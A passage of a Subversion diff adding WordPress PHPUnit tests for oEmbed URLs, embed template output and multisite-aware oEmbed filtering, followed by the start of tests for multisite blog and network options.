+		$this->assertTrue( in_array( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ), $headers ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/oembed/postEmbedUrl.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/oembed/postEmbedUrl.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/oembed/postEmbedUrl.php	(revision 56912)
@@ -0,0 +1,108 @@
+<?php
+
+/**
+ * @group oembed
+ */
+class Tests_Post_Embed_URL extends WP_UnitTestCase {
+	function test_non_existent_post() {
+		$embed_url = get_post_embed_url( 0 );
+		$this->assertFalse( $embed_url );
+	}
+
+	function test_with_pretty_permalinks() {
+		$this->set_permalink_structure( '/%postname%' );
+
+		$post_id   = self::factory()->post->create();
+		$permalink = get_permalink( $post_id );
+		$embed_url = get_post_embed_url( $post_id );
+
+		$this->assertEquals( $permalink . '/embed', $embed_url );
+	}
+
+	function test_with_ugly_permalinks() {
+		$post_id   = self::factory()->post->create();
+		$permalink = get_permalink( $post_id );
+		$embed_url = get_post_embed_url( $post_id );
+
+		$this->assertEquals( $permalink . '&embed=true', $embed_url );
+	}
+
+	/**
+	 * @ticket 34971
+	 */
+	function test_static_front_page() {
+		$this->set_permalink_structure( '/%postname%/' );
+
+		$post_id = self::factory()->post->create( array( 'post_type' => 'page' ) );
+
+		update_option( 'show_on_front', 'page' );
+		update_option( 'page_on_front', $post_id );
+
+		$embed_url = get_post_embed_url( $post_id );
+
+		$this->assertSame( user_trailingslashit( trailingslashit( home_url() ) . 'embed' ), $embed_url );
+
+		update_option( 'show_on_front', 'posts' );
+	}
+
+	/**
+	 * @ticket 34971
+	 */
+	function test_static_front_page_with_ugly_permalinks() {
+		$post_id = self::factory()->post->create( array( 'post_type' => 'page' ) );
+
+		update_option( 'show_on_front', 'page' );
+		update_option( 'page_on_front', $post_id );
+
+		$embed_url = get_post_embed_url( $post_id );
+
+		$this->assertSame( trailingslashit( home_url() ) . '?embed=true', $embed_url );
+
+		update_option( 'show_on_front', 'posts' );
+	}
+
+	/**
+	 * @ticket 34971
+	 */
+	function test_page_conflicts_with_embed_slug() {
+		$this->set_permalink_structure( '/%postname%/' );
+
+		$parent_page = self::factory()->post->create( array( 'post_type' => 'page' ) );
+
+		add_filter( 'wp_unique_post_slug', array( $this, 'filter_unique_post_slug' ) );
+		$child_page = self::factory()->post->create( array(
+			'post_type'   => 'page',
+			'post_parent' => $parent_page,
+			'post_name'   => 'embed',
+		) );
+		remove_filter( 'wp_unique_post_slug', array( $this, 'filter_unique_post_slug' ) );
+
+		$this->assertSame( get_permalink( $parent_page ) . '?embed=true', get_post_embed_url( $parent_page ) );
+		$this->assertSame( get_permalink( $child_page ) . 'embed/', get_post_embed_url( $child_page ) );
+	}
+
+	/**
+	 * @ticket 34971
+	 */
+	function test_static_front_page_conflicts_with_embed_slug() {
+		$this->set_permalink_structure( '/%postname%/' );
+
+		// Create a post with the 'embed' post_name
+		add_filter( 'wp_unique_post_slug', array( $this, 'filter_unique_post_slug' ) );
+		$post_embed_slug = self::factory()->post->create( array( 'post_name' => 'embed' ) );
+		remove_filter( 'wp_unique_post_slug', array( $this, 'filter_unique_post_slug' ) );
+		$page_front = self::factory()->post->create( array( 'post_type' => 'page' ) );
+
+		update_option( 'show_on_front', 'page' );
+		update_option( 'page_on_front', $page_front );
+
+		$this->assertSame( home_url() . '/embed/embed/', get_post_embed_url( $post_embed_slug ) );
+		$this->assertSame( home_url() . '/?embed=true', get_post_embed_url( $page_front ) );
+
+		update_option( 'show_on_front', 'posts' );
+	}
+
+	public function filter_unique_post_slug() {
+		return 'embed';
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/oembed/template.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/oembed/template.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/oembed/template.php	(revision 56912)
@@ -0,0 +1,311 @@
+<?php
+
+/**
+ * @group oembed
+ */
+class Tests_Embed_Template extends WP_UnitTestCase {
+	function test_oembed_output_post() {
+		$user = self::factory()->user->create_and_get( array(
+			'display_name' => 'John Doe',
+		) );
+
+		$post_id = self::factory()->post->create( array(
+			'post_author'  => $user->ID,
+			'post_title'   => 'Hello World',
+			'post_content' => 'Foo Bar',
+			'post_excerpt' => 'Bar Baz',
+		) );
+		$this->go_to( get_post_embed_url( $post_id ) );
+
+		$this->assertQueryTrue( 'is_single', 'is_singular', 'is_embed' );
+
+		ob_start();
+		include( ABSPATH . WPINC . '/theme-compat/embed.php' );
+		$actual = ob_get_clean();
+
+		$doc = new DOMDocument();
+		$this->assertTrue( $doc->loadHTML( $actual ) );
+		$this->assertFalse( strpos( $actual, 'That embed can&#8217;t be found.' ) );
+		$this->assertNotFalse( strpos( $actual, 'Hello World' ) );
+	}
+
+	function test_oembed_output_post_with_thumbnail() {
+		$post_id       = self::factory()->post->create( array(
+			'post_title'   => 'Hello World',
+			'post_content' => 'Foo Bar',
+			'post_excerpt' => 'Bar Baz',
+		) );
+		$file          = DIR_TESTDATA . '/images/canola.jpg';
+		$attachment_id = self::factory()->attachment->create_object( $file, $post_id, array(
+			'post_mime_type' => 'image/jpeg',
+		) );
+		set_post_thumbnail( $post_id, $attachment_id );
+
+		$this->go_to( get_post_embed_url( $post_id ) );
+
+		$this->assertQueryTrue( 'is_single', 'is_singular', 'is_embed' );
+
+		ob_start();
+		include( ABSPATH . WPINC . '/theme-compat/embed.php' );
+		$actual = ob_get_clean();
+
+		$doc = new DOMDocument();
+		$this->assertTrue( $doc->loadHTML( $actual ) );
+		$this->assertFalse( strpos( $actual, 'That embed can&#8217;t be found.' ) );
+		$this->assertNotFalse( strpos( $actual, 'Hello World' ) );
+		$this->assertNotFalse( strpos( $actual, 'canola.jpg' ) );
+	}
+
+	function test_oembed_output_404() {
+		$this->go_to( home_url( '/?p=123&embed=true' ) );
+		$GLOBALS['wp_query']->query_vars['embed'] = true;
+
+		$this->assertQueryTrue( 'is_404', 'is_embed' );
+
+		ob_start();
+		include( ABSPATH . WPINC . '/theme-compat/embed.php' );
+		$actual = ob_get_clean();
+
+		$doc = new DOMDocument();
+		$this->assertTrue( $doc->loadHTML( $actual ) );
+		$this->assertNotFalse( strpos( $actual, 'That embed can&#8217;t be found.' ) );
+	}
+
+	function test_oembed_output_attachment() {
+		$post          = self::factory()->post->create_and_get();
+		$file          = DIR_TESTDATA . '/images/canola.jpg';
+		$attachment_id = self::factory()->attachment->create_object( $file, $post->ID, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_title'     => 'Hello World',
+			'post_content'   => 'Foo Bar',
+			'post_excerpt'   => 'Bar Baz',
+		) );
+
+		$this->go_to( get_post_embed_url( $attachment_id ) );
+
+		$this->assertQueryTrue( 'is_single', 'is_singular', 'is_attachment', 'is_embed' );
+
+		ob_start();
+		include( ABSPATH . WPINC . '/theme-compat/embed.php' );
+		$actual = ob_get_clean();
+
+		$doc = new DOMDocument();
+		$this->assertTrue( $doc->loadHTML( $actual ) );
+		$this->assertFalse( strpos( $actual, 'That embed can&#8217;t be found.' ) );
+		$this->assertNotFalse( strpos( $actual, 'Hello World' ) );
+		$this->assertNotFalse( strpos( $actual, 'canola.jpg' ) );
+	}
+
+	function test_oembed_output_draft_post() {
+		$post_id = self::factory()->post->create( array(
+			'post_title'   => 'Hello World',
+			'post_content' => 'Foo Bar',
+			'post_excerpt' => 'Bar Baz',
+			'post_status'  => 'draft',
+		) );
+
+		$this->go_to( get_post_embed_url( $post_id ) );
+
+		$this->assertQueryTrue( 'is_404', 'is_embed' );
+
+		ob_start();
+		include( ABSPATH . WPINC . '/theme-compat/embed.php' );
+		$actual = ob_get_clean();
+
+		$doc = new DOMDocument();
+		$this->assertTrue( $doc->loadHTML( $actual ) );
+		$this->assertNotFalse( strpos( $actual, 'That embed can&#8217;t be found.' ) );
+	}
+
+	function test_oembed_output_scheduled_post() {
+		$post_id = self::factory()->post->create( array(
+			'post_title'   => 'Hello World',
+			'post_content' => 'Foo Bar',
+			'post_excerpt' => 'Bar Baz',
+			'post_status'  => 'future',
+			'post_date'    => strftime( '%Y-%m-%d %H:%M:%S', strtotime( '+1 day' ) ),
+		) );
+
+		$this->go_to( get_post_embed_url( $post_id ) );
+
+		$this->assertQueryTrue( 'is_404', 'is_embed' );
+
+		ob_start();
+		include( ABSPATH . WPINC . '/theme-compat/embed.php' );
+		$actual = ob_get_clean();
+
+		$doc = new DOMDocument();
+		$this->assertTrue( $doc->loadHTML( $actual ) );
+		$this->assertNotFalse( strpos( $actual, 'That embed can&#8217;t be found.' ) );
+	}
+
+	function test_oembed_output_private_post() {
+		$post_id = self::factory()->post->create( array(
+			'post_title'   => 'Hello World',
+			'post_content' => 'Foo Bar',
+			'post_excerpt' => 'Bar Baz',
+			'post_status'  => 'private',
+		) );
+
+		$this->go_to( get_post_embed_url( $post_id ) );
+
+		$this->assertQueryTrue( 'is_404', 'is_embed' );
+
+		ob_start();
+		include( ABSPATH . WPINC . '/theme-compat/embed.php' );
+		$actual = ob_get_clean();
+
+		$doc = new DOMDocument();
+		$this->assertTrue( $doc->loadHTML( $actual ) );
+		$this->assertNotFalse( strpos( $actual, 'That embed can&#8217;t be found.' ) );
+	}
+
+	function test_oembed_output_private_post_with_permissions() {
+		$user_id = self::factory()->user->create( array( 'role' => 'editor' ) );
+		wp_set_current_user( $user_id );
+
+		$post_id = self::factory()->post->create( array(
+			'post_title'   => 'Hello World',
+			'post_content' => 'Foo Bar',
+			'post_excerpt' => 'Bar Baz',
+			'post_status'  => 'private',
+			'post_author'  => $user_id,
+		) );
+
+		$this->go_to( get_post_embed_url( $post_id ) );
+
+		$this->assertQueryTrue( 'is_single', 'is_singular', 'is_embed' );
+
+		ob_start();
+		include( ABSPATH . WPINC . '/theme-compat/embed.php' );
+		$actual = ob_get_clean();
+
+		$doc = new DOMDocument();
+		$this->assertTrue( $doc->loadHTML( $actual ) );
+		$this->assertFalse( strpos( $actual, 'That embed can&#8217;t be found.' ) );
+		$this->assertNotFalse( strpos( $actual, 'Hello World' ) );
+	}
+
+	function test_wp_embed_excerpt_more_no_embed() {
+		$GLOBALS['wp_query'] = new WP_Query();
+
+		$this->assertEquals( 'foo bar', wp_embed_excerpt_more( 'foo bar' ) );
+	}
+
+	function test_wp_embed_excerpt_more() {
+		$post_id = self::factory()->post->create( array(
+			'post_title'   => 'Foo Bar',
+			'post_content' => 'Bar Baz',
+		) );
+
+		$this->assertEquals( '', wp_embed_excerpt_more( '' ) );
+
+		$this->go_to( get_post_embed_url( $post_id ) );
+
+		$actual = wp_embed_excerpt_more( '' );
+
+		$expected = sprintf(
+			' &hellip; <a href="%s" class="wp-embed-more" target="_top">Continue reading <span class="screen-reader-text">Foo Bar</span></a>',
+			get_the_permalink()
+		);
+
+		$this->assertEquals( $expected, $actual );
+	}
+
+	function test_is_embed_post() {
+		$this->assertFalse( is_embed() );
+
+		$post_id = self::factory()->post->create();
+		$this->go_to( get_post_embed_url( $post_id ) );
+		$this->assertTrue( is_embed() );
+	}
+
+	function test_is_embed_attachment() {
+		$post_id       = self::factory()->post->create();
+		$file          = DIR_TESTDATA . '/images/canola.jpg';
+		$attachment_id = self::factory()->attachment->create_object( $file, $post_id, array(
+			'post_mime_type' => 'image/jpeg',
+		) );
+		$this->go_to( get_post_embed_url( $attachment_id ) );
+		$this->assertTrue( is_embed() );
+	}
+
+	function test_is_embed_404() {
+		$this->go_to( home_url( '/?p=12345&embed=true' ) );
+		$this->assertTrue( is_embed() );
+	}
+
+	function test_get_post_embed_html_non_existent_post() {
+		$this->assertFalse( get_post_embed_html( 200, 200, 0 ) );
+		$this->assertFalse( get_post_embed_html( 200, 200 ) );
+	}
+
+	function test_get_post_embed_html() {
+		$post_id = self::factory()->post->create();
+		$title = esc_attr(
+			sprintf(
+				__( '&#8220;%1$s&#8221; &#8212; %2$s' ),
+				get_the_title( $post_id ),
+				get_bloginfo( 'name' )
+			)
+		);
+
+		$expected = '<iframe sandbox="allow-scripts" security="restricted" src="' . esc_url( get_post_embed_url( $post_id ) ) . '" width="200" height="200" title="' . $title . '" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" class="wp-embedded-content"></iframe>';
+
+		$this->assertStringEndsWith( $expected, get_post_embed_html( 200, 200, $post_id ) );
+	}
+
+	function test_add_host_js() {
+		wp_oembed_add_host_js();
+
+		$this->assertTrue( wp_script_is( 'wp-embed' ) );
+	}
+
+	/**
+	 * @ticket 34698
+	 */
+	function test_js_no_ampersands() {
+		$this->assertNotContains( '&', file_get_contents( ABSPATH . WPINC . '/js/wp-embed.js' ) );
+	}
+
+	/**
+	 * @ticket 34698
+	 *
+	 * @depends test_js_no_ampersands
+	 *
+	 * The previous test confirms that no ampersands exist in src/wp-includes/js/wp-embed.js.
+	 * However, we must also confirm that UglifyJS does not add ampersands during its
+	 * optimizations (which we tweak to avoid, but indirectly -- understandably, there's
+	 * no "don't add ampersands to my JavaScript file" option).
+	 *
+	 * So this test checks for ampersands in build/wp-includes/js/wp-embed.min.js.
+	 * In many cases, this file will not exist; in those cases, we simply skip the test.
+	 *
+	 * So when would it be run? We have Travis CI run `grunt test` which then runs, in order,
+	 * `qunit:compiled` (which runs the build) and then `phpunit`. Thus, this test will at least be
+	 * run during continuous integration.
+	 *
+	 * However, we need to verify that `qunit:compiled` runs before `phpunit`. So this test also
+	 * does a cheap check for a registered Grunt task called `test` that contains both
+	 * `qunit:compiled` and `phpunit`, in that order.
+	 *
+	 * One final failsafe: The Gruntfile.js assertion takes place before checking for the existence
+	 * of wp-embed.min.js. If the Grunt tasks are significantly refactored later, it could indicate
+	 * that wp-embed.min.js doesn't exist anymore. We wouldn't want the test to silently become one
+	 * that is always skipped, and thus useless.
+	 */
+	function test_js_no_ampersands_in_compiled() {
+		$gruntfile = file_get_contents( dirname( ABSPATH ) . '/Gruntfile.js' );
+
+		// Confirm this file *should* exist, otherwise this test will always be skipped.
+		$test = '/grunt.registerTask\(\s*\'test\',.*\'qunit:compiled\'.*\'phpunit\'/';
+		$this->assertTrue( (bool) preg_match( $test, $gruntfile ) );
+
+		$file = dirname( ABSPATH ) . '/build/' . WPINC . '/js/wp-embed.min.js';
+		if ( ! file_exists( $file ) ) {
+			return;
+		}
+		$this->assertNotContains( '&', file_get_contents( $file ) );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/oembed/wpOembed.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/oembed/wpOembed.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/oembed/wpOembed.php	(revision 56912)
@@ -0,0 +1,227 @@
+<?php
+
+/**
+ * @group oembed
+ */
+class Tests_WP_oEmbed extends WP_UnitTestCase {
+	/**
+	 * @var WP_oEmbed
+	 */
+	protected $oembed;
+
+	public $pre_oembed_result_filtered = false;
+
+	public function setUp() {
+		parent::setUp();
+
+		require_once ABSPATH . WPINC . '/class-oembed.php';
+		$this->oembed = _wp_oembed_get_object();
+
+		$this->pre_oembed_result_filtered = false;
+	}
+
+	public function _filter_pre_oembed_result( $result ) {
+		// If this is not null, the oEmbed result has been filtered before any HTTP requests were made.
+		$this->pre_oembed_result_filtered = $result;
+
+		// Return false to prevent HTTP requests during tests.
+		return $result ? $result : false;
+	}
+
+	public function test_wp_filter_pre_oembed_result_prevents_http_request_for_internal_permalinks() {
+		$post_id   = self::factory()->post->create();
+		$permalink = get_permalink( $post_id );
+
+		add_filter( 'pre_oembed_result', array( $this, '_filter_pre_oembed_result' ) );
+		$actual = $this->oembed->get_html( $permalink );
+		remove_filter( 'pre_oembed_result', array( $this, '_filter_pre_oembed_result' ) );
+
+		$this->assertNotFalse( $this->pre_oembed_result_filtered );
+		$this->assertEquals( $this->pre_oembed_result_filtered, $actual );
+	}
+
+	public function test_wp_filter_pre_oembed_result_prevents_http_request_when_viewing_the_post() {
+		$post_id   = self::factory()->post->create();
+		$permalink = get_permalink( $post_id );
+
+		$this->go_to( $permalink );
+		$this->assertQueryTrue( 'is_single', 'is_singular' );
+
+		add_filter( 'pre_oembed_result', array( $this, '_filter_pre_oembed_result' ) );
+		$actual = $this->oembed->get_html( $permalink );
+		remove_filter( 'pre_oembed_result', array( $this, '_filter_pre_oembed_result' ) );
+
+		$this->assertNotFalse( $this->pre_oembed_result_filtered );
+		$this->assertEquals( $this->pre_oembed_result_filtered, $actual );
+	}
+
+	public function test_wp_filter_pre_oembed_result_non_existent_post() {
+		$post_id   = self::factory()->post->create();
+		$permalink = get_permalink( $post_id );
+
+		$this->go_to( $permalink );
+		$this->assertQueryTrue( 'is_single', 'is_singular' );
+
+		add_filter( 'pre_oembed_result', array( $this, '_filter_pre_oembed_result' ) );
+		$actual = $this->oembed->get_html( 'https://example.com/' );
+		remove_filter( 'pre_oembed_result', array( $this, '_filter_pre_oembed_result' ) );
+
+		$this->assertNotFalse( $this->pre_oembed_result_filtered );
+		$this->assertFalse( $actual );
+	}
+
+	/**
+	 * @ticket 40673
+	 * @group multisite
+	 * @group ms-required
+	 */
+	public function test_wp_filter_pre_oembed_result_multisite_root_root() {
+		$post_id   = self::factory()->post->create();
+		$permalink = get_permalink( $post_id );
+
+		add_filter( 'pre_oembed_result', array( $this, '_filter_pre_oembed_result' ) );
+		$actual = $this->oembed->get_html( $permalink );
+		remove_filter( 'pre_oembed_result', array( $this, '_filter_pre_oembed_result' ) );
+
+		$this->assertNotNull( $this->pre_oembed_result_filtered );
+		$this->assertEquals( $this->pre_oembed_result_filtered, $actual );
+	}
+
+	/**
+	 * @ticket 40673
+	 * @group multisite
+	 * @group ms-required
+	 */
+	public function test_wp_filter_pre_oembed_result_multisite_sub_samesub() {
+		$user_id = self::factory()->user->create();
+
+		$blog_id = self::factory()->blog->create( array(
+			'user_id' => $user_id,
+		) );
+
+		switch_to_blog( $blog_id );
+
+		$post_id   = self::factory()->post->create();
+		$permalink = get_permalink( $post_id );
+
+		add_filter( 'pre_oembed_result', array( $this, '_filter_pre_oembed_result' ) );
+		$actual = $this->oembed->get_html( $permalink );
+		remove_filter( 'pre_oembed_result', array( $this, '_filter_pre_oembed_result' ) );
+
+		restore_current_blog();
+
+		$this->assertNotNull( $this->pre_oembed_result_filtered );
+		$this->assertEquals( $this->pre_oembed_result_filtered, $actual );
+	}
+
+	/**
+	 * @ticket 40673
+	 * @group multisite
+	 * @group ms-required
+	 */
+	public function test_wp_filter_pre_oembed_result_multisite_sub_othersub() {
+		$user_id = self::factory()->user->create();
+
+		$blog_id = self::factory()->blog->create( array(
+			'user_id' => $user_id,
+		) );
+
+		switch_to_blog( $blog_id );
+
+		$post_id   = self::factory()->post->create();
+		$permalink = get_permalink( $post_id );
+
+		$blog_id = self::factory()->blog->create( array(
+			'user_id' => $user_id,
+		) );
+
+		switch_to_blog( $blog_id );
+
+		add_filter( 'pre_oembed_result', array( $this, '_filter_pre_oembed_result' ) );
+		$actual = $this->oembed->get_html( $permalink );
+		remove_filter( 'pre_oembed_result', array( $this, '_filter_pre_oembed_result' ) );
+
+		restore_current_blog();
+
+		$this->assertNotNull( $this->pre_oembed_result_filtered );
+		$this->assertEquals( $this->pre_oembed_result_filtered, $actual );
+	}
+
+	/**
+	 * @ticket 40673
+	 * @group multisite
+	 * @group ms-required
+	 */
+	public function test_wp_filter_pre_oembed_result_multisite_sub_main() {
+		$post_id   = self::factory()->post->create();
+		$permalink = get_permalink( $post_id );
+		$user_id   = self::factory()->user->create();
+		$blog_id   = self::factory()->blog->create( array(
+			'user_id' => $user_id,
+		) );
+
+		switch_to_blog( $blog_id );
+
+		add_filter( 'pre_oembed_result', array( $this, '_filter_pre_oembed_result' ) );
+		$actual = $this->oembed->get_html( $permalink );
+		remove_filter( 'pre_oembed_result', array( $this, '_filter_pre_oembed_result' ) );
+
+		restore_current_blog();
+
+		$this->assertNotNull( $this->pre_oembed_result_filtered );
+		$this->assertEquals( $this->pre_oembed_result_filtered, $actual );
+	}
+
+	/**
+	 * @ticket 40673
+	 * @group multisite
+	 * @group ms-required
+	 */
+	public function test_wp_filter_pre_oembed_result_multisite_preserves_switched_state() {
+		$user_id = self::factory()->user->create();
+
+		$blog_id = self::factory()->blog->create( array( 'user_id' => $user_id ) );
+		switch_to_blog( $blog_id );
+
+		$expected_stack = $GLOBALS['_wp_switched_stack'];
+
+		$post_id   = self::factory()->post->create();
+		$permalink = get_permalink( $post_id );
+
+		add_filter( 'pre_oembed_result', array( $this, '_filter_pre_oembed_result' ) );
+		$actual = $this->oembed->get_html( $permalink );
+		remove_filter( 'pre_oembed_result', array( $this, '_filter_pre_oembed_result' ) );
+
+		$actual_stack = $GLOBALS['_wp_switched_stack'];
+
+		restore_current_blog();
+
+		$this->assertNotNull( $this->pre_oembed_result_filtered );
+		$this->assertEquals( $this->pre_oembed_result_filtered, $actual );
+		$this->assertSame( $expected_stack, $actual_stack );
+	}
+
+	/**
+	 * @ticket 40673
+	 * @group multisite
+	 * @group ms-required
+	 */
+	public function test_wp_filter_pre_oembed_result_multisite_restores_state_if_no_post_is_found() {
+		$current_blog_id = get_current_blog_id();
+
+		$user_id = self::factory()->user->create();
+		$blog_id = self::factory()->blog->create( array(
+			'user_id' => $user_id,
+		) );
+
+		$permalink = get_home_url( $blog_id, '/foo/' );
+
+		add_filter( 'pre_oembed_result', array( $this, '_filter_pre_oembed_result' ) );
+		$actual = $this->oembed->get_html( $permalink );
+		remove_filter( 'pre_oembed_result', array( $this, '_filter_pre_oembed_result' ) );
+
+		$this->assertNull( $this->pre_oembed_result_filtered );
+		$this->assertFalse( $actual );
+		$this->assertSame( $current_blog_id, get_current_blog_id() );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/option/multisite.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/option/multisite.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/option/multisite.php	(revision 56912)
@@ -0,0 +1,236 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * Tests specific to network and site options in Multisite.
+ *
+ * @group option
+ * @group ms-option
+ * @group multisite
+ */
+class Tests_Multisite_Option extends WP_UnitTestCase {
+	protected $suppress = false;
+
+	function setUp() {
+		global $wpdb;
+		parent::setUp();
+		$this->suppress = $wpdb->suppress_errors();
+	}
+
+	function tearDown() {
+		global $wpdb;
+		$wpdb->suppress_errors( $this->suppress );
+		parent::tearDown();
+	}
+
+	function test_from_same_site() {
+		$key    = __FUNCTION__ . '_1';
+		$key2   = __FUNCTION__ . '_2';
+		$value  = __FUNCTION__ . '_val1';
+		$value2 = __FUNCTION__ . '_val2';
+
+		$this->assertFalse( get_blog_option( 1, 'doesnotexist' ) );
+		$this->assertFalse( get_option( 'doesnotexist' ) ); // check get_option()
+
+		$this->assertTrue( add_blog_option( 1, $key, $value ) );
+		// Assert all values of $blog_id that means the current or main blog (the same here).
+		$this->assertEquals( $value, get_blog_option( 1, $key ) );
+		$this->assertEquals( $value, get_blog_option( null, $key ) );
+		$this->assertEquals( $value, get_blog_option( '1', $key ) );
+		$this->assertEquals( $value, get_option( $key ) ); // check get_option()
+
+		$this->assertFalse( add_blog_option( 1, $key, $value ) );  // Already exists
+		$this->assertFalse( update_blog_option( 1, $key, $value ) );  // Value is the same
+		$this->assertTrue( update_blog_option( 1, $key, $value2 ) );
+		$this->assertEquals( $value2, get_blog_option( 1, $key ) );
+		$this->assertEquals( $value2, get_option( $key ) ); // check get_option()
+		$this->assertFalse( add_blog_option( 1, $key, $value ) );
+		$this->assertEquals( $value2, get_blog_option( 1, $key ) );
+		$this->assertEquals( $value2, get_option( $key ) ); // check get_option()
+
+		$this->assertTrue( delete_blog_option( 1, $key ) );
+		$this->assertFalse( get_blog_option( 1, $key ) );
+		$this->assertFalse( get_option( $key ) ); // check get_option()
+		$this->assertFalse( delete_blog_option( 1, $key ) );
+		$this->assertTrue( update_blog_option( 1, $key2, $value2 ) );
+		$this->assertEquals( $value2, get_blog_option( 1, $key2 ) );
+		$this->assertEquals( $value2, get_option( $key2 ) ); // check get_option()
+		$this->assertTrue( delete_blog_option( 1, $key2 ) );
+		$this->assertFalse( get_blog_option( 1, $key2 ) );
+		$this->assertFalse( get_option( $key2 ) ); // check get_option()
+	}
+
+	function test_from_same_site_with_null_blog_id() {
+		$key    = __FUNCTION__ . '_1';
+		$key2   = __FUNCTION__ . '_2';
+		$value  = __FUNCTION__ . '_val1';
+		$value2 = __FUNCTION__ . '_val2';
+
+		$this->assertFalse( get_blog_option( null, 'doesnotexist' ) );
+		$this->assertFalse( get_option( 'doesnotexist' ) ); // check get_option()
+
+		$this->assertTrue( add_blog_option( null, $key, $value ) );
+		// Assert all values of $blog_id that means the current or main blog (the same here).
+		$this->assertEquals( $value, get_blog_option( null, $key ) );
+		$this->assertEquals( $value, get_blog_option( null, $key ) );
+		$this->assertEquals( $value, get_option( $key ) ); // check get_option()
+
+		$this->assertFalse( add_blog_option( null, $key, $value ) );  // Already exists
+		$this->assertFalse( update_blog_option( null, $key, $value ) );  // Value is the same
+		$this->assertTrue( update_blog_option( null, $key, $value2 ) );
+		$this->assertEquals( $value2, get_blog_option( null, $key ) );
+		$this->assertEquals( $value2, get_option( $key ) ); // check get_option()
+		$this->assertFalse( add_blog_option( null, $key, $value ) );
+		$this->assertEquals( $value2, get_blog_option( null, $key ) );
+		$this->assertEquals( $value2, get_option( $key ) ); // check get_option()
+
+		$this->assertTrue( delete_blog_option( null, $key ) );
+		$this->assertFalse( get_blog_option( null, $key ) );
+		$this->assertFalse( get_option( $key ) ); // check get_option()
+		$this->assertFalse( delete_blog_option( null, $key ) );
+		$this->assertTrue( update_blog_option( null, $key2, $value2 ) );
+		$this->assertEquals( $value2, get_blog_option( null, $key2 ) );
+		$this->assertEquals( $value2, get_option( $key2 ) ); // check get_option()
+		$this->assertTrue( delete_blog_option( null, $key2 ) );
+		$this->assertFalse( get_blog_option( null, $key2 ) );
+		$this->assertFalse( get_option( $key2 ) ); // check get_option()
+	}
+
+	function test_with_another_site() {
+		$user_id = self::factory()->user->create();
+		$this->assertInternalType( 'integer', $user_id );
+
+		$blog_id = self::factory()->blog->create( array(
+			'user_id' => $user_id,
+			'meta'    => array(
+				'public' => 1,
+			),
+		) );
+		$this->assertInternalType( 'integer', $blog_id );
+
+		$key    = __FUNCTION__ . '_key1';
+		$key2   = __FUNCTION__ . '_key2';
+		$value  = __FUNCTION__ . '_val1';
+		$value2 = __FUNCTION__ . '_val2';
+
+		$this->assertFalse( get_blog_option( $blog_id, 'doesnotexist' ) );
+		//$this->assertFalse( get_option( 'doesnotexist' ) ); // check get_option()
+
+		$this->assertTrue( add_blog_option( $blog_id, $key, $value ) );
+		// Assert all values of $blog_id that means the current or main blog (the same here).
+		$this->assertEquals( $value, get_blog_option( $blog_id, $key ) );
+		$this->assertEquals( $value, get_blog_option( "$blog_id", $key ) );
+		//$this->assertEquals( $value, get_option( $key ) ); // check get_option()
+
+		$this->assertFalse( add_blog_option( $blog_id, $key, $value ) );  // Already exists
+		$this->assertFalse( update_blog_option( $blog_id, $key, $value ) );  // Value is the same
+		$this->assertTrue( update_blog_option( $blog_id, $key, $value2 ) );
+		$this->assertEquals( $value2, get_blog_option( $blog_id, $key ) );
+		//$this->assertEquals( $value2, get_option( $key ) ); // check get_option()
+		$this->assertFalse( add_blog_option( $blog_id, $key, $value ) );
+		$this->assertEquals( $value2, get_blog_option( $blog_id, $key ) );
+		//$this->assertEquals( $value2, get_option( $key ) ); // check get_option()
+
+		$this->assertTrue( delete_blog_option( $blog_id, $key ) );
+		$this->assertFalse( get_blog_option( $blog_id, $key ) );
+		//$this->assertFalse( get_option( $key ) ); // check get_option()
+		$this->assertFalse( delete_blog_option( $blog_id, $key ) );
+		$this->assertTrue( update_blog_option( $blog_id, $key2, $value2 ) );
+		$this->assertEquals( $value2, get_blog_option( $blog_id, $key2 ) );
+		//$this->assertEquals( $value2, get_option( $key2 ) ); // check get_option()
+		$this->assertTrue( delete_blog_option( $blog_id, $key2 ) );
+		$this->assertFalse( get_blog_option( $blog_id, $key2 ) );
+		//$this->assertFalse( get_option( $key2 ) ); // check get_option()
+	}
+
+	/**
+	 * @group multisite
+	 */
+	function test_site_notoptions() {
+		$network_id = get_current_network_id();
+		$notoptions_key = "{$network_id}:notoptions";
+
+		$_notoptions = wp_cache_get( 'notoptions', 'site-options' );
+		$this->assertEmpty( $_notoptions );
+		$_notoptions1 = wp_cache_get( $notoptions_key, 'site-options' );
+		$this->assertEmpty( $_notoptions1 );
+
+		get_site_option( 'burrito' );
+
+		$notoptions = wp_cache_get( 'notoptions', 'site-options' );
+		$this->assertEmpty( $notoptions );
+		$notoptions1 = wp_cache_get( $notoptions_key, 'site-options' );
+		$this->assertNotEmpty( $notoptions1 );
+	}
+
+	function test_users_can_register_signup_filter() {
+
+		$registration = get_site_option('registration');
+		$this->assertFalse( users_can_register_signup_filter() );
+
+		update_site_option('registration', 'all');
+		$this->assertTrue( users_can_register_signup_filter() );
+
+		update_site_option('registration', 'user');
+		$this->assertTrue( users_can_register_signup_filter() );
+
+		update_site_option('registration', 'none');
+		$this->assertFalse( users_can_register_signup_filter() );
+	}
+
+	/**
+	 * @dataProvider data_illegal_names
+	 */
+	function test_sanitize_network_option_illegal_names( $option_value, $sanitized_option_value ) {
+		update_site_option( 'illegal_names', $option_value );
+		$this->assertEquals( $sanitized_option_value, get_site_option( 'illegal_names' ) );
+	}
+
+	function data_illegal_names() {
+		return array(
+			array( array( '', 'Woo', '' ), array( 'Woo' ) ),
+			array( 'foo bar', array( 'foo', 'bar' ) ),
+			array( array(), '' ),
+		);
+	}
+
+	/**
+	 * @dataProvider data_email_domains
+	 *
+	 * @param $option_value
+	 * @param $sanitized_option_value
+	 */
